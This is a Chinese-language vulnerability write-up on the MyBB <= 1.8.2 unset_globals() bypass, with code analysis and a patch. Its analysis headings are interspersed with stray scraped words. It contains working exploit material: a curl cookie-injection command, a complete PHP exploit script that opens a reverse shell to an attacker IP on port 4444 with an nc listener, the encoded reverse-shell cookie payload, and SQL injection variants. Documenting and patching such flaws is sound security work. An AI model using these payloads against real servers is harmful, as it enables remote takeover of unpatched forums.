MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse

时间 2019-11-19

标签 mybb class core.php core php 1.8.2 unset globals function bypass remote code execution reverse 栏目 PHP 繁體版

原文原文链接

cataloguephp

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防护方法
6. 攻防思考

1. 漏洞描述css

MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.html

Relevant Link:数组

https://cxsecurity.com/issue/WLB-2015120164
https://packetstormsecurity.com/files/134833/MyBB-1.8.2-Code-Execution.html
https://www.exploit-db.com/exploits/35323/

2. 漏洞触发条件安全

0x1: POC1cookie

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//remote code execution by just using curl on the command line
3. curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://30.9.192.207/mybb_1802/

PHP自动化验证脚本框架

<?php

// Exploit Title: MyBB <= 1.8.2 Reverse Shell Exploit
// Date: 15/12/2015
// Exploit Author: ssbostan
// Vendor Homepage: http://www.mybb.com/
// Software Link: http://resources.mybb.com/downloads/mybb_1802.zip
// Version: <= 1.8.2
// Tested on: MyBB 1.8.2

$target="http://localhost/mybb1802/index.php";
$yourip="ipaddress";
$ch=curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, "GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;");
curl_setopt($ch, CURLOPT_URL, $target);
curl_exec($ch);
curl_close($ch);

// nc -l 4444
// php mybb-1802-core-exploit.php

?>

0x2: POC2curl

//php.ini
1. disable_functions = ini_get
2. register_globals = On
//url
3. index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1

0x3: POC3函数

//php.ini配置
1. request_order = "GP"
2. register_globals = On
//url
curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
//Works on disable_functions = ini_get and register\_globals = On:
css.php?shutdown_queries[]=SQL_Inj

3. 漏洞影响范围this

MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15

4. 漏洞代码分析

\mybb_1802\inc\class_core.php

..
// If we've got register globals on, then kill them too
/*
When PHP's register_globals configuration set on, MyBB will call unset_globals() function
all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
这是MyBB作的一种安全机制，在每一个PHP脚本请求的开始进行"超全局变量自动注册反向处理"，抵消可能出现的register_globals致使的安全问题
*/
if(@ini_get("register_globals") == 1)
{
    $this->unset_globals($_POST);
    $this->unset_globals($_GET);
    $this->unset_globals($_FILES);
    $this->unset_globals($_COOKIE);
}
..
/**
 * Unsets globals from a specific array.
 *
 * @param array The array to unset from.
 */
function unset_globals($array)
{
    if(!is_array($array))
    {
        return;
    }

    foreach(array_keys($array) as $key)
    {
        unset($GLOBALS[$key]);
        unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
    }
}

这个逻辑看起来好像没问题，并且是出于安全方面的考虑进行了防护性处理，可是由于PHP内核的一些特性，致使unset_globals()函数的执行可以被绕过

1. 在正常状况下，经过GPC方式输入的变量，即便开启了register_globals，也会被自动进行unset $GLOBAL[$var]处理，这是MyBB本身实现了一套防护低版本PHP误开启register_globals = On的代码逻辑，这防护了本地变量覆盖的发生
2. 可是存在一个特殊的变量GLOBALS，$GLOBALS超全局数组是PHP内核负责建立维护的，咱们能够在程序中任意位置读写$GLOBALS['key']，PHP内核绑定了$GLOBALS数组和global symbol table之间的链接
3. 若是黑客传入: foo.php?GLOBALS=1，则MyBB会执行unset($GLOBALS["GLOBALS"]);这会直接致使$GLOBALS和global symbol table之间的链接
4. 注意到MyBB源代码中这行代码
/*
\mybb_1802\inc\class_core.php
if(@ini_get("register_globals") == 1)
{
    ..
    $this->unset_globals($_COOKIE);
}
黑客注入的COOKIES为: GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1
则代码逻辑会按以下执行
1. unset($GLOBALS["GLOBALS"]);
2. 则以后的unset($GLOBALS["shutdown_functions"]);就会失效，由于此时绑定已经不存在了
*/
5. 此时已经绕过了MyBB原生的变量覆盖防护机制

须要注意的是，MyBB的防护框架里注意到了这个问题
\mybb_1802\inc\class_core.php

..
function __construct()
{
    // Set up MyBB
    $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
    foreach($protected as $var)
    {
        if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
        {
            die("Hacking attempt");
        }
    }
    ..

MyBB的本意是阻止请求参数中出现GET/POST/GLOBALS这种可能影响全局变量参数的值，可是问题在PHP中的$_REQUEST也是一个超全局变量，它的值受php.ini影响，在PHP5.3之后，request_order = "GP"，也就是说，$_REQUEST只包括GET/POST中的参数，这直接致使了对COOKIES的敏感参数过滤失效，因此，黑客能够在COOKIES中放入变量覆盖攻击payload

GLOBALS=1; shutdown_functions[0][function]=exec; shutdown_functions[0][arguments][]=php%20%2Dr%20%27%24sock%3Dfsockopen%28%22$yourip%22%2C%204444%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27;

稍微总结一下，这个利用前提条件有2种场景

1. MyBB <= PHP 5.3: request_order = "GP"
2. PHP 5.3 <= MyBB <= PHP 5.4: register_globals = On

理解了变量覆盖发生的前提，下一步看攻击Payload是如何构造并触发本地变量覆盖的
\mybb_1802\inc\class_core.php

//class_core.php几乎是全部页面脚本都会调用到的文件，下面的析构函数会被频繁调用
function __destruct()
{
    // Run shutdown function
    if(function_exists("run_shutdown"))
    {
        run_shutdown();
    }
}

run_shutdown();
\mybb_1802\inc\functions.php

/**
 * Runs the shutdown items after the page has been sent to the browser.
 *
 */
function run_shutdown()
{
    //the $shutdown_functions was initialized via add\_shutdown() function in init.php
    //可是由于本地变量覆盖漏洞的存在，这里$shutdown_functions能够被劫持
    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;

    if($done_shutdown == true || !$config || (isset($error_handler) && $error_handler->has_errors))
    {
        return;
    }
    ..
    // Run any shutdown functions if we have them
    if(is_array($shutdown_functions))
    {
        foreach($shutdown_functions as $function)
        {
            call_user_func_array($function['function'], $function['arguments']);
        }
    }
    ..

Relevant Link:

http://0day.today/exploit/22913

5. 防护方法

\inc\class_core.php

class MyBB {
    ..
    function __construct()
    {
        // Set up MyBB
        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
        foreach($protected as $var)
        {
            /*if(isset($_REQUEST[$var]) || isset($_FILES[$var]))*/
            if(isset($_GET[$var]) || isset($_POST[$var]) || isset($_COOKIE[$var]) || isset($_FILES[$var]))
            {
                die("Hacking attempt");
            }
        }
        ..

Relevant Link:

http://blog.mybb.com/2014/11/20/mybb-1-8-3-1-6-16-released-security-releases/
http://cn.313.ninja/exploit/22913

6. 攻防思考